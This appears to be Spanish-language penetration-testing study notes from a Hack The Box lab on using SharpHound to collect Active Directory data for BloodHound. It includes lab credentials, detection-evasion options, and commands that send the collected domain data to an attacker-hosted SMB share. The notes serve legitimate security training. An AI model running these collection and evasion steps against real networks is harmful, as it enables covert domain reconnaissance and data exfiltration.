BloodHound — SharpHound Data Collection (Windows)
Ejecución básica
# Recolección por defecto (sin opciones)
SharpHound.exe
# Ver todas las opciones
SharpHound.exe --help
# Especificar dominio
SharpHound.exe -d inlanefreight.htb
# Recolección completa
SharpHound.exe -c AllLa recolección por defecto incluye: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote. Recolecta usuarios, computadoras, membresía de grupos, trusts, ACLs, estructura de OUs, GPOs, propiedades de objetos, grupos locales, sesiones activas y SPNs.
Para recolectar grupos locales y sesiones de hosts remotos necesitas tener privilegios de administrador en esos hosts.
El output por defecto es un archivo zip con varios JSON dentro.
Métodos de recolección (-c)
Default → Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
All → Todo excepto GPOLocalGroup
DCOnly → Solo desde el DC, no toca hosts del dominio (menos ruido)
ComputerOnly → Solo desde hosts del dominio, no el DC
Session → Solo sesiones activas
ACL → Solo ACLsCuándo usar DCOnly
Si el entorno tiene monitoreo de red (SOC, IDS), usar Default o All genera tráfico hacia todos los hosts del dominio y puede disparar alertas. DCOnly solo habla con el DC y es mucho más silencioso.
# Silencioso - solo DC
SharpHound.exe -c DCOnly
# Luego, solo los hosts más interesantes
SharpHound.exe -c ComputerOnly --computerfile computers.txtOpciones útiles
# Credenciales alternativas
SharpHound.exe --ldapusername forend --ldappassword Klmcargo2
# DC específico
SharpHound.exe --domaincontroller 172.16.5.5
# Puerto LDAP específico (útil con port forwarding)
SharpHound.exe --domaincontroller 172.16.5.5 --ldapport 389
# Output en directorio específico
SharpHound.exe --outputdirectory C:\Windows\Temp\
# Prefijo al nombre del archivo
SharpHound.exe --outputprefix HTB
# Sin zip (archivos JSON sueltos)
SharpHound.exe --nozip
# Recolectar TODOS los atributos LDAP
SharpHound.exe --collectallpropertiesEvasión y OPSEC
# Mantener cache en memoria (no escribir .bin al disco)
SharpHound.exe --memcache
# Nombres de archivo aleatorios
SharpHound.exe --randomfilenames
# Proteger zip con contraseña
SharpHound.exe --zippassword HackTheBox
# Guardar output directo a share remoto con evasión completa
SharpHound.exe --memcache --outputdirectory \\10.10.14.33\share\ --zippassword HackTheBox --outputprefix HTB --randomfilenamesMontar share para recibir output
# En tu máquina Linux
sudo impacket-smbserver share ./ -smb2support -user test -password test
# En Windows (conectar al share)
net use \\10.10.14.33\share /user:test testSession Loop — Capturar sesiones activas
Las sesiones desaparecen cuando el usuario se desconecta. El loop permite capturarlas durante un periodo de tiempo.
# Verificar sesiones activas antes de correr
net session
# Loop por 1 hora, consultar cada minuto
SharpHound.exe -c Session --loop --loopduration 01:00:00 --loopinterval 00:01:00
# Loop por 2 horas (por defecto) con intervalo por defecto (30 segundos)
SharpHound.exe -c Session --loop
# Stealth - solo tocar hosts más probables de tener sesiones
SharpHound.exe -c Session --loop --stealthDesde host NO unido al dominio
# Abrir cmd con credenciales del dominio (sin validar localmente)
runas /netonly /user:INLANEFREIGHT\htb-student cmd.exe
# Verificar que la autenticación funciona
net view \\inlanefreight.htb\
# Correr SharpHound especificando el dominio
SharpHound.exe -d inlanefreight.htb/netonly usa las credenciales solo para acceso de red, no localmente. No valida las credenciales al ejecutar, lo notarás si son incorrectas cuando intentes conectarte.
Importar datos a BloodHound
# Iniciar Neo4j
net start neo4j
# Abrir BloodHound
C:\Tools\BloodHound\BloodHound.exeEn el GUI: botón de upload (icono de flecha arriba a la derecha) → seleccionar el zip → esperar a que termine. Se puede importar el mismo zip varias veces sin duplicar datos, BloodHound solo agrega lo que no existe.
Si los nombres de computadoras no aparecen después de importar, importar el archivo nuevamente.